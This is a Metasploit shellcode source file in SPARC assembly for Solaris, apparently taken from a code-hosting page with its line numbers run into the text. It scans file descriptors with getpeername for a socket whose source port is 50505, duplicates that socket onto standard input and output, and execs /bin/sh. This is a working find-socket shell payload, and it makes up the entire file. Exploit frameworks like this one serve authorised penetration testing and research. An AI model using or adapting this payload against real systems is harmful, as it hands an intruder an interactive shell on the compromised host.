Path: blob/master/external/source/shellcode/solaris/sparc/single_findsock.s
24821 views
##1#2# Name: single_findsock3# Platforms: Solaris4# Authors: vlad902 <vlad902 [at] gmail.com>5# Version: $Revision: 1991 $6# License:7#8# This file is part of the Metasploit Exploit Framework9# and is subject to the same licenses and copyrights as10# the rest of this package.11#12# Description:13#14# Search file descriptors based on source port.15#16##1718.globl main1920main:21# l6 is set here with the port22set 50505, %l623andn %sp, 7, %sp2425xor %o2, %o2, %o026st %o0, [ %sp - 0x18 ]2728getpeername_loop:29add %o0, 1, %o030and %o0, 4095, %o03132mov 0x10, %o133std %o0, [ %sp - 0x08 ]3435sub %sp, 0x04, %o236sub %sp, 0x18, %o137mov 243, %g138ta 0x083940mov 3, %o241lduh [ %sp - 0x16 ], %l542xorcc %l5, %l6, %i543bnz getpeername_loop44fcntl_loop:45ld [ %sp - 0x08 ], %o04647mov 9, %o148subcc %o2, 1, %o249mov 0x3e, %g150ta 0x085152bnz fcntl_loop5354xor %o3, %o3, %o355set 0x2f62696e, %l056set 0x2f736800, %l157sub %sp, 0x10, %o058sub %sp, 0x08, %o159std %l0, [ %sp - 0x10 ]60st %o0, [ %sp - 0x08 ]61st %g0, [ %sp - 0x04 ]62mov 0x3b, %g163ta 0x08646566